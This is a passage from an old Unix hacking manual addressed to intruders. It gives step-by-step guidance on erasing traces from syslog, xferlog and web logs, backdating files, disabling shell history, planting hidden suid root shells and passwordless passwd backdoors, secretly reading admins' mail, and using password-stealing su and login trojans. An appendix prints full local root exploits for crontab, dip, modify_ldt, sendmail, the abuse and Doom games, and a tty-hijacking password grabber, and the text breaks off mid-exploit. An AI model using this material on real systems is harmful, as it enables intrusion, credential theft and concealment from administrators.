39 ? S 1:29 /usr/sbin/syslogd
find the syslogd and notice the process id here is 39, so you do:
kill -HUP 39
This will restart the process and put your changes into effect.
The other thing is to make sure to do a ls -l /etc/syslog.conf BEFORE you
edit it and touch the file date back to the original date and time after
you edit it. This way if they notice the logging looks different, they
will check the file date and think it must be something else. Most admins
would not know how to setup this file in the first place, so you in some
(or most) cases ok to edit it.
Here is another file to look at.
/etc/login.defs
# Enable "syslog" logging of su activity - in addition to sulog file logging
# SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB yes
SYSLOG_SG_ENAB yes
#
# If defined, all su activity is logged to this file
#
SULOG_FILE /home/users/bob/.list
Notice here that there is an su log file in a hidden file in one of
the admin's directories.
-----------
Section 6C
xferlog
-----------
The xferlog can be edited with your favorite text editor, pico, joe, vi, etc..
you can then search for your transfers and delete the lines and save the file.
You will need to do this after transferring any files.
You will also want to grep the files in the /usr/local/etc/httpd/log directory
if you have used the web or phf on the system to remove your presence
from there.
grep (username or hostname) * |more
If you need to find the logs for httpd you can do a find -name httpd.conf
-print and view the config file you see where the httpd logs are going.
There might be different ftp logs for transfers in some ftp or virtual ftp
directory some where. View the files in the /etc/ftp* to find what the ftp
setup is on the box.
Here I have shown you to edit log files using pico, joe, or other editors.
There is another way... Sometimes log files might be real large and the editor just might
not cut it ;) Here is what to do...
You have a messages file 20 meg ... wow!
If you want to get the lines that have fudge.candy.com out of this file you
might want to do this:
grep -v fudge.candy >messages.2
rm messages
mv messages2 messages
then kill -HUP
-v means grep everything that does not match the line, so you are greping
the file -what you do not want to a new file name messages.2. Check the
file size after the grep to make sure no errors were made and replace the
old one with the new one and restart syslogd.
This can also be used with other logs like xferlog, syslog, etc...
Here is a perl script that will do it for you from command line.
------------------- start of riptext.pl
#!/usr/bin/perl
#
# RipText - Takes regular expression and filename argument from @ARGV. Any
# lines MATCHING regular expression will *not* be printed to
# STDOUT.
#
#
die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0]));
($regexp, $filename) = @ARGV[0,1];
# Read in contents of file.
$/ = undef;
$contents="";
if (!defined($filename)) {
# Use STDIN.
$contents = scalar ;
} else {
# Use FILE.
open(FILE, "<$filename") || die("-RipText- Cannot open $filename: $!\n");
$contents = scalar ;
close(FILE);
}
@contents = split(/\n/, $contents);
# Strip file of matching lines.
open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n");
foreach (@contents) {
print FILE "$_\n" unless (/$regexp/i);
}
close(FILE);
0;
------------------------ end of riptext.pl
Remember to restart syslogd after you edit files, true you will not see
the stuff, and it will be gone to your eyes, but if you do not restart the
process, the data is still in memory and can be retrieved until you restart
the process!
Also look for notes in the syslog that the syslogd process was restarted at
such and such a time.
---------------
Section 6D
The cron table
---------------
Make sure to look at admin's and root cron files, here in this system we find
a root cron file in: /var/spool/cron/crontabs
bash# ls -l
total 1
-rw------- 1 root root 851 Jan 26 14:14 root
bash$ more root
# This updates the database for 'locate' every day:
40 07 * * * updatedb 1> /dev/null 2> /dev/null
40 */12 * * * /sbin/checkfs
there is a file running here in /sbin called checkfs.
bash$ cd /sbin
bash$ /sbin # more checkfs
#!/bin/bash
if [ ! -f /etc/default/fs/.check ]; then
echo WARNING!! Filecheck default file cannot be found. Please regenerate.
exit
fi
md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null
md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null
md5sum /lib/* >> /tmp/filecheck 2>/dev/null
md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null
diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1
if [ -s /tmp/filecheck2 ]; then
mail -s FSCheck bin < /tmp/filecheck2
fi
rm /tmp/filecheck /tmp/filecheck2 2>/dev/null
md5 is a checksum file, if you change or add a binary file to any of the
above directories the information of the changes will be mailed to the
admin.
------------------------------
Chapter 7
Keeping access to the machine
------------------------------
There are many ways to keep access to the machine, you will loose
access to many as you as you are learning, but I hope with this manual
and some experience you will become a stable hacker.
Section 7A
Tricks of the trade
Here are some 'tricks' of the trade that will help you keep access
to the machine. After a system admin has found you out, they will be watching
for you and going through everything on the system. They will go as far as
recompiling binary files, changing everyone's passwords, denying your host you
came in from to the machine, going through the passwd or shadow file, looking
for SUID files, etc....
When you see that you have been found out, do not try to get access to the
system again. I have seen others right after being cought, try everyone of
their trojans, other accounts, and other backdoor's they placed for continued
access. Well think about it, they are watching for you ... you are showing
them every in that you have to the system, and every exploitable file you
are making known to them.
NO! WAIT! Give it a few months, they will think everything is ok, and they
will relax and you can come in with one of the backdoor's they missed, and you
can do your thing on the logs for all of the attempts you made on the system
to get back in.
Ok here are some tricks of the trade.
History Files:
--------------
Always put your .bash_history to /dev/null, if you don't make sure you at least
edit it. Remember the .bash_history will always have your last commands until
the logoff. So if you edit it, it will show that you are editing it. You might
try changing your shell and editing it there, but this all seems like a pain,
just set it to /dev/null
1. Delete the file in the user directory .bash_history if it there.
2. Type this command in the home directory: ln -s /dev/null .bash_history
Nested directory:
-----------------
Always find a directory on the system to hide your files. There are a few good
ones that most users never look into.
In the users home directory look for .term, all you will find in this directory
is an executable file called termrc. Admin's and users alike are used to seeing this
hidden directory, and never EVER go into it. if they did what do you think
they would say to an executable file being in there called termrc? You are right!
Nothing .... it belongs there and it is what they expect to see there.
So lets say we make termrc a little bigger, and add suid perm's ... are you
getting the idea???? I hope you guessed it... go to the /bin directory and
type cp bash (or sh whatever is there) ~username/.term/termrc
then type : chown root ~username/.term/termrc
: chgrp root ~username/.term/termrc
: chmod +s ~username/.term/termrc
Now you have a nested file that can get you root on the system any time that
will not be easy for the admin to find. If you want to get fancy, touch
the file date to make it look like an older file.
Another directory off the user accounts expected to be there and unused would
be .elm, .term or Mail, or try making a directory called '...' this is harder
to notice seeing the first directories that show are . and .., so it can go
un-noticed easy. This is how it would look if they did a long ls:
1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history
22 Feb 20 1996 .forward
164 May 18 1996 .kermrc
34 Jun 06 1993 .less
114 Nov 23 1993 .lessrc
1024 May 18 1996 .term
1024 May 19 1996 public_html
see how it seems to just fit into place?
but if it was just a ls -l, this is what would be seen:
1024 May 19 1996 public_html
Remember you can always look for some REAL LONG file path that you are sure
that no one would ever even want to enter into, and use this for your nested
directory. You can even make your own directory there like:(...) ;)
Making new commands
--------------------
After you check the cron to see if there is md5 being used there, you might
want to either copy one of your exploits to another filename in the system,
or maybe just overwrite a command that you know would never be used. If
you copy to a new file name make sure you touch the file date. This is not
so long lasting because sooner or later they will patch the exploit and your
new file you made will not work anymore.
It is better to use a shell for the new filename, and then make it suid.
Adding or changing passwd entry's
---------------------------------
Another backdoor that you can use is to add a new user to the passwd file.
This needs to be done with caution making it look like it belongs there.
Never use your passwd addition, never login, it is just for a backup in case
you loose access.
There are different thoughts here: you do not have to make it a root account
that could cause notice to it right away. You know you can have root any time
you want it. Lets practice ...
We want to make our account look like it belongs, so lets keep to the top of
the file.
root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
Looking at the above passwd file leaves us a few options so i will just list
them here.
1. Look at the user line for operator, ftp, and postmaster. All of these
accounts have shells with no passwd's set yet. From your shell just type:
passwd postmaster
Set the account with no passwd by just pressing enter. Now you will be able
to log into this account any time without a password and the file will still
look right to the admin.
2. add this line to the passwd file:
syst::13:12:system:/var/spool:/bin/bash
Place it in the file where it seems to flow. You can leave the :: for the
passwd or set the passwd to what you want by typing: passwd syst from the
root shell. Set the group and id above to what you like.
3. Look at the line above for sync
sync:*:5:0:sync:/sbin:/bin/sync
Change this to :
sync:*:5:0:sync:/sbin:/bin/bash and then run and leave the passwd
blank. (or set a passwd don't matter) On this account we are even gid=0 rin
Installing games
----------------
You could always install exploitable doom or abuse into the system if they
already have games installed. I will include the root exploits for these
games below in the appendix.
Always be watching
------------------
Always know who the admin's are on a system, you can find them by looking at
the passwd file to see home directories, placement of the uid, group access
accounts, and ALWAYS read all of the bash_history files in the user directories
to see who is using admin commands. You will also learn allot of new commands
from reading history files, but you want to know who is who on the system.
Get to know your system well. Look for users using su: View the log files
to see who is using admin commands.
Always be watching the system, keep track of who is on while you are. Watch
the admin's history to see what commands they are using, ttysnoops? too many
ps commands? finger commands after ps or w or who commands will show they
are watching what other users on the system are doing. Watch your admin's
and get to know how aware they are of users on their system.
Reading system mail
Rember first NEVER to use system mail programs! They will be able to tell you
are reading their mail. I use a combo of a few things. Here you go...
1. cd /var/spool/mail
This will put you into the directory that holds all of the unread mail, or
waiting mail. Now you can do things like:
grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more
Then if needed pico username, and ctrl w to search for your maeesge. You
can also delete messages if you see some other admin is telling them that
your user name is hacking their machine from their domain.
For a mail reader that will allow toy to read mail without updating pointers
try:
http://obsidian.cse.fau.edu/~fc
has a util on it that can cat /var/spool/mail files without changing the
last read dates.. ie they have no idea that you have read their mail.
Also remember you can find other system mail in user's directories. Make sure
to look in the /root directory. Look for /root/mail or username/mail or other
directories or filders that contain older mail.
Happy Hunting ...
--------------------------------
Section 7B
Root and Demon kits and trojans
--------------------------------
Root kits are C source for ps, login, netstat and sometimes some other
programs that have been hacked for you. With these kits you will be
able to replace the login files on the hacked box so that you can login
without an account on the machine.
You will also be able to patch ps so that you will not show up when an
admin uses the ps command. With the ps patch you can also have it not show
processes that have certain file names such as any file that starts with
'sniff'.
Demon kits will have hacked programs for identd, login demon, ping, su,
telnetd, and, socket.
Trojans will be any file that you can use that will allow you to exploit
the system in some way. An su trojan placed in the admin's directory would
run the trojan su first after you change the export path for him ;) and report
back that he typed the wrong passwd and delete the trojan file, but saving
the password he typed to the /tmp directory.
A login trojan would save all login passwords to a file on the machine
for you. I think you get the idea ;)
Demon and Linux root kits have been uuencoded and attached to the end of
appendix VI
******************************************
* Appendix I - Things to do after access *
******************************************
I think in this paper we have covered most of the things you can do after
access, so I will make this in the style of a checklist from a to z.
a. learn who the admin's are on the system
b. watch the system with ps -auxe and ps -auxef (if it works) and pstree to
try and keep track of what others are doing
c. read all of the bash history files or any history files you can find on the
machine to learn more yourself, and to learn about the users
d. make as many backdoor's into the system as you can that you are sure will
not be found out
e. keep the access to yourself, don't give out users passwords on the machine
you get root on.
f. always clean your utmp and wtmp right away when you login
g. always clean your mess as you go along, this includes your xferlog and
messages
h. if you have root access make sure to read /etc/syslog.conf and
/etc/login.defs to see how the system is logging
i. before changing binary files look at the root cron to see what they are
running.
j. look for md5 on the system
k. look for separate ftp logs
l. make sure to clean the www logs if you ever send phf commands to the server
m. make an suid root shell and place it somewhere on the system
n. do only what you are sure of, don't do everything in this hacking manual all
at once or you are asking to get cought
o. only use nested directories, do not put files into user directories where
all they need to do is type ls to see them
p. don't add user accounts and think they will not notice you.
q. don't use pine or other mail programs to read users mail. if you want to
read mail go to the mail dir and read it from unix, new mail you will find
in /var/spool/mail read it there.
r. don't change the system so that other programs they have running will not
work any more, they will be on you like fly's on shit
s. don't delete files on the system unless you put them there
t. do not modify their web pages, like i was here ... you are not a hacker you
are a little kid wanting attention
u. do not change any passwords on the system (unless you are doing it for
access and have backed up the passwd file and replace it right after you
login
v. do not use any root account machines for irc access, or to load a bot on
w. if your root account changes or you create files that are owned by the
wrong group, be sure to chown the files
x. do not use .rhosts if there is already one there that is being used
y. never telnet or ftp to your account from the hacked box
z. don't fuck up their machine! only do what you know how to do.
****************************************************
* Appendix II - Hacking / Security WWW / ftp sites *
****************************************************
IRC QuantumG #virus
Quantum's Linux Page
http://obsidian.me.fau.edu/~quantum
Nice site for a bit of info and unix exploits!
CyberToast's Files section
Here you will find a nice selection of hacking, crackers, hex editors, viruses,
cracks, phreaking, war dialers, scanners, and, misc files.
www.ilf.net/~toast/files
Reptiles Realm
A nice site for many linux exploits
www.users.interport.net/~reptile/linux
FTP site loaded with all kinds of IRC, BOTS, UNIX EXPLOITS, VIRUSES and ZINES!
http://ftp.giga.or.at/pub/hacker
Linux Security Digest
Lot's to look at here
http://king.dom.de/~un/linux-security
Linux Security Alert
http://bach.cis.temple.edu/linux/linux-security/Linux-Alerts
The Linux Security Home Page
http://www.ecst.csuchico.edu/~jtmurphy
These are good sites just to get you started, there are many links on these.
Just make sure to browse in your favorite engine and search for words like:
hack, linux, unix, crack ect....
*********************************************************
* Appendix III - More exploits for root or other access *
*********************************************************
..........................................................................
. .
. 1. vixie crontab buffer overflow for RedHat Linux .
..........................................................................
If crontab is suid it is more then likely exploitable.
-----------cut here
/* vixie crontab buffer overflow for RedHat Linux
*
* I don't think too many people know that redhat uses vixie crontab.
* I didn't find this, just exploited it.
*
*
* Dave G.
* 10/13/96
*
*/
#include
#include
#include
#include
#include
#define DEFAULT_OFFSET -1240
#define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE "./Window"
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
int fd;
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/*
* The sscanf line reads for 'name' as %[^ =]. Neither a space, nor
* a '=' character appears below
*/
int i;
int ofs = DEFAULT_OFFSET;
/* if we have a argument, use it as offset, else use default */
if(argc == 2)
ofs = atoi(argv[1]);
else if (argc > 2) {
fprintf(stderr, "egg [offset]\n");
exit(-1);
}
/* print the offset in use */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (878/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr++ = '=';
*ptr++ = 'X';
*ptr++ = '\n';
*ptr = 0;
printf("Writing to %s\n", HAPPY_FILE);
/*
* The sleep is required because as soon as crontab opens the tmp file it
* stat's and saves it. After the EDITOR program exists it stats again
* and if they are equal then it assumes changes weren't made and exits.
*/
fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
write (fd, buff, strlen(buff));
close(fd);
execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
/* Successful completion */
exit(0);
}
----------- cut here
..........................................................................
. .
. 2. Root dip exploit .
. .
..........................................................................
in /sbin you will find a symbolic link called dip to a suid root binary.
Chances are, if this file is suid, it's sploitable.
-------- cut here
#include
#include
#include
#include
#include
#define PATH_DIP "/sbin/dip"
u_char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs";
u_long esp() { __asm__("movl %esp, %eax"); }
main()
{
u_char buf[1024];
u_long addr;
int i, f;
strcpy(buf, "chatkey ");
addr = esp() - 192;
for (i=8; i<128+16; i+=4)
*((u_long *) (buf+i)) = addr;
for (i=128+16; i<512; i++)
buf[i] = 0x90;
for (i=0; i
#include
#include
#include
#ifdef NEWERKERNEL
#include
#endif
#define __KERNEL__
#include
#include
static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
int stat, i,j,k;
struct modify_ldt_ldt_s ldt_entry;
FILE *syms;
char line[100];
struct task_struct **task, *taskptr, thistask;
struct kernel_sym blah[4096];
printf ("Bogusity checker for modify_ldt system call.\n");
printf ("Testing for page-size limit bug...\n");
ldt_entry.entry_number = 0;
ldt_entry.base_addr = 0xbfffffff;
ldt_entry.limit = 0;
ldt_entry.seg_32bit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
ldt_entry.read_exec_only = 0;
ldt_entry.limit_in_pages = 1;
ldt_entry.seg_not_present = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
/* Continue after reporting error. */
printf ("This bug has been fixed in your kernel.\n");
else
{
printf ("Shit happens: ");
printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
}
printf ("Testing for expand-down limit bug...\n");
ldt_entry.base_addr = 0x00000000;
ldt_entry.limit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
ldt_entry.limit_in_pages = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
{
printf ("This bug has been fixed in your kernel.\n");
return 1;
}
else
{
printf ("Shit happens: ");
printf ("0x00000000 - 0xfffffffd is accessible.\n");
}
i = get_kernel_syms(blah);
k = i+10;
for (j=0; j = 0; #set effective user id
$ENV{'PATH'} = '/bin:/usr/bin'; #secure the session
$ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
$execpath = "/bin/sh"; #sameol sameol
$execpath =~ /(.*)/; #untaint the variable
$boom = $1; #$boom untainted
system $boom; #run EUID=0 shell
----------------cut here
..........................................................................
. .
. 5. Abuse Sendmail 8.6.9 .
. .
..........................................................................
-----------cut here
/* smh.c - atreus - Michael R. Widner (2/27/95)
*
* a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
* hole. It's really just a matter of passing newlines in arguments to
* sendmail and getting the stuff into the queue files. If we run this
* locally with -odq we are guaranteed that it will be queue, rather than
* processed immediately.
* usage: smh [ username [/path/to/sendmail]]
* It's worth noting that this is generally only good for getting bin.
* sendmail still wants to process the sendmail.cf file, which contains
* Ou1 and Og1 most of the time, limiting you to bin access. Is there
* a way around this?
* cc -o smh smh.c should do the trick. This just creates a bin owned
* mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note that on some
* systems this is pretty much worthless, but you're smart enough to know
* which systems those are. Aren't you?
bash$ ./smh root /usr/lib/sendmail
bash$ /usr/lib/sendmail -q
*/
#include
#include
#include
/* Take Your Pick */
#define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii "
#define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh /bin/sh >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd /tmp/.inetd.conf\">\n$rascii "
main(argc, argv)
int argc;
char **argv;
{
execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", EVIL_COMMAND1,
argv[1] ? argv[1] : "atreus",0);
}
----------- cut here
..........................................................................
. .
. 6. ttysurf - grab someone's tty .
..........................................................................
------------cut here
#include
#include
#include
#include
#include
#include
#define DEBUG 1 /* Enable additional debugging info (needed!) */
#define USLEEP /* Define this if your UNIX supports usleep() */
#ifdef ULTRIX
#define TCGETS TCGETP /* Get termios structure */
#define TCSETS TCSANOW /* Set termios structure */
#endif
handler(signal)
int signal; /* signalnumber */
{ /* do nothing, ignore the signal */
if(DEBUG) printf("Ignoring signal %d\n",signal);
}
int readandpush(f,string)
FILE *f;
char *string;
{
char *cp,*result;
int e;
struct termios termios;
result=fgets(string,20,f); /* Read a line into string */
if (result==NULL)
{ perror("fgets()");
return(1);
}
if (DEBUG)
{ printf("String: %s\n",string);
fflush(stdout);
}
ioctl(0,TCGETS,&termios); /* These 3 lines turn off input echo */
/* echo = (termios.c_lflag & ECHO); */
termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
ioctl(0,TCSETS,&termios);
for (cp=string;*cp;cp++) /* Push it back as input */
{ e=ioctl(0,TIOCSTI,cp);
if(e<0)
{ perror("ioctl()");
return(1);
}
}
return(0);
}
main(argc,argv)
int argc;
char *argv[];
{
/* variables */
int err;
FILE *f;
char *term = "12345678901234567890";
char *login = "12345678901234567890";
char *password = "12345678901234567890";
if (argc < 2)
{ printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
printf("Enter ttyname: ");
gets(term);
}
else term=argv[argc-1];
signal(SIGQUIT,handler);
signal(SIGINT,handler);
signal(SIGTERM,handler);
signal(SIGHUP,handler);
signal(SIGTTOU,handler);
close(0); /* close stdin */
#ifdef ULTRIX
if(setpgrp(0,100)==-1)
perror("setpgrp:"); /* Hopefully this works */
#else
if(setsid()==-1)
perror("setsid:"); /* Disconnect from our controlling TTY and
start a new session as sessionleader */
#endif
f=fopen(term,"r"); /* Open tty as a stream, this guarantees
getting file descriptor 0 */
if (f==NULL)
{ printf("Error opening %s with fopen()\n",term);
exit(2);
}
if (DEBUG) system("ps -xu>>/dev/null &");
fclose(f); /* Close the TTY again */
f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
if (f==NULL)
{ printf("Error opening /dev/tty with fopen()\n",term);
exit(2);
}
if(readandpush(f,login)==0)
{
#ifdef USLEEP
usleep(20000); /* This gives login(1) a chance to read the
string, or the second call would read the
input that the first call pushed back ! /*
#else
for(i=0;i<1000;i++)
err=err+(i*i)
/* error /* Alternatives not yet implemented */
#endif
readandpush(f,password);
printf("Result: First: %s Second: %s\n",login,password);
}
fflush(stdout);
sleep(30); /* Waste some time, to prevent that we send a SIGHUP
to login(1), which would kill the user. Instead,
wait a while. We then send SIGHUP to the shell of
the user, which will ignore it. */
fclose(f);
}
--------------cut here
..........................................................................
. .
. 7. shadow.c - Get shadow passwd files .
. .
..........................................................................
----------- cut here
/* This source will/should print out SHADOWPW passwd files. */
struct SHADOWPW { /* see getpwent(3) */
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
};
struct passwd *getpwent(), *getpwuid(), *getpwnam();
#ifdef elxsis?
/* Name of the shadow password file. Contains password and aging info */
#define SHADOWPW "/etc/shadowpw"
#define SHADOWPW_PAG "/etc/shadowpw.pag"
#define SHADOWPW_DIR "/etc/shadowpw.dir"
/*
* Shadow password file pwd->pw_gecos field contains:
*
* ,,,,
*
* = Type of password criteria to enforce (type int).
* BSD_CRIT (0), normal BSD.
* STR_CRIT (1), strong passwords.
* = Password aging period (type long).
* 0, no aging.
* else, number of seconds in aging period.
* = Time (seconds from epoch) of the last password
* change (type long).
* 0, never changed.n
* = Time (seconds from epoch) that the current password
* was made the (type long).
* 0, never changed.ewromsinm
* = Password (encrypted) saved for an aging to
* prevent reuse during that period (type char [20]).
* "*******", no .
*/
/* number of tries to change an aged password */
#define CHANGE_TRIES 3
/* program to execute to change passwords */
#define PASSWD_PROG "/bin/passwd"
/* Name of the password aging exempt user names and max number of entires */
#define EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100
/* Password criteria to enforce */
#define BSD_CRIT 0 /* Normal BSD password criteria */
#define STR_CRIT 1 /* Strong password criteria */
#define MAX_CRIT 1
#endif elxsi
#define NULL 0
main()
{
struct passwd *p;
int i;
for (;1;) {;
p=getpwent();
if (p==NULL) return;
printpw(p);
}
}
printpw(a)
struct SHADOWPW *a;
{
printf("%s:%s:%d:%d:%s:%s:%s\n",
a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
a->pw_gecos,a->pw_dir,a->pw_shell);
}
/* SunOS 5.0 /etc/shadow */
/* SunOS4.1+c2 /etc/security/passwd.adjunct */
------------ cut here
..........................................................................
. .
. 8. Abuse Root Exploit (linux game program) .
. .
..........................................................................
---------- cut here
There is a security hole in RedHat 2.1, which installs the game abuse,
/usr/lib/games/abuse/abuse.console suid root. The abuse.console program
loads its files without absolute path names, assuming the user is running
abuse from the /usr/lib/games/abuse directory. One of these files in the
undrv program, which abuse executes as root. If the user is not in the
abuse directory when running this, an arbitrary program can be substituted
for undrv, allowing the user to execute arbitrary commands as root.
If abuse.console needs to be run by users other than root at the console,
provisions need to be made in the code to not execute or load any files
as root.
Program: /usr/lib/games/abuse/abuse.console suid root
Affected Operating Systems: Red Hat 2.1 linux distribution
Requirements: account on system
Patch: chmod -s /usr/lib/games/abuse/abuse.console
Security Compromise: root
Author: Dave M. ([email protected])
Synopsis: abuse.console runs undrv without an absolute
pathname while executing as root, allowing
a user to substitute the real undrv with
an arbitrary program.
Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# For release 2/2/96 - 1 drink credit please.
#
# by Dave M. ([email protected])
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
cat << _EOF_ >> /tmp/the_wall
so ya thought ya might like to go to the show
to feel the warm thrill of confusion that space cadet glow
tell me is something eluding you sunshine?
is this not what you expected to see?
if you wanna find out what's behind these cold eyes
you'll just have to claw your way through this disguise
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
/bin/rm /tmp/the_wall
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
----------- cut here
..........................................................................
. .
. 9. Doom (game) root exploit - makes suid root shell .
. .
..........................................................................
----------- Start reading
From [email protected] Tue Dec 17 18:53:18 1996
Date: Tue, 17 Dec 1996 10:18:24 +0100
From: Bo
To: Multiple recipients of list BUGTRAQ
Subject: Re: Linux: killmouse/doom
> From: Joe Zbiciak
> Subject: Re: Linux: exploit for killmouse.
>
> Which reminds me, there's a bigger hole in Doom. It doesn't drop its
> root permissions soon enough! The user is allowed to set a sound server
> in his/her .doomrc. Normally, this is set to "sndserver". Howver, this
> can be set to *any* program, and that program runs as root!!
Yes, very true. And just in case anybody collects these scripts, here's
the obvious one:
------------ CUT HERE --------------
#!/bin/sh
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
#include
#include
main() {
if (fork()) while (getc(stdin));
else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
/* or whatever you like to do */
}
EOF
gcc /tmp/sndserver.c -o /tmp/sndserver
------------ CUT HERE --------------
The fork() is just so that doom runs on nicely without locking up the
keyboard and sndserver gobbles up all the sound data send to it. Run
the script, start sdoom, quit the normal way, and execute /tmp/sh.
Thanks for pointing it out, Joe.
Regards,
Bo.
--
"Heisenberg may have been here".
--------------- end of read
..........................................................................
. .
. 10. dosmenu suid root exploit .
. .
..........................................................................
--------- read
In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
setuid root. This is a serious security hole which can be exploited
to gain access to any file on the system.
Package: dosemu
Version: 0.64.0.2-9
------- start of cut text --------------
$ cat /etc/debian_version
1.1
$ id
